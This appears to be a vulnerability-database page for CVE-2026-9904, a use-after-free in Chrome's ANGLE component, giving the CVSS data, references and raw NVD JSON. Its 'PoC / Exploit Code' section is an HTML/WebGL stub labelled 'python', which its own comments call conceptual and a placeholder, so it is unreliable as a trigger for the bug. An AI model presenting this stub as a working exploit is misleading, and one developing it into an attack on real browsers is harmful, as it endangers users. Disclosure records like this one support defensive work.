CVE-2026-9904

Description

Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9904 Conceptual Use-After-Free in ANGLE -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9904 PoC</title>
</head>
<body>
    <script>
        // Attempt to trigger UAF in ANGLE via WebGL context manipulation
        const canvas = document.createElement('canvas');
        const gl = canvas.getContext('webgl');
        
        if (gl) {
            console.log("[+] WebGL context created");
            
            // Step 1: Create a buffer and allocate memory
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            
            // Step 2: Perform operations that may trigger the bug in specific Chrome versions
            // This is a placeholder for the specific trigger sequence
            for (let i = 0; i < 10000; i++) {
                gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(1024), gl.DYNAMIC_DRAW);
            }
            
            // Step 3: Delete object (Free)
            gl.deleteBuffer(buffer);
            
            // Step 4: Attempt to access/use the freed object (Use After Free)
            // In a real exploit, this would be carefully timed and crafted
            try {
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                console.log("[-] Potential UAF triggered");
            } catch (e) {
                console.log("[!] Exception caught: " + e);
            }
        } else {
            console.log("[!] WebGL not supported");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9904/
[4] VulDB https://vuldb.com/cve/CVE-2026-9904
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/498804020

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9904", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.413", "lastModified": "2026-05-29T16:16:36.833", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498804020", "source": "[email protected]"}]}}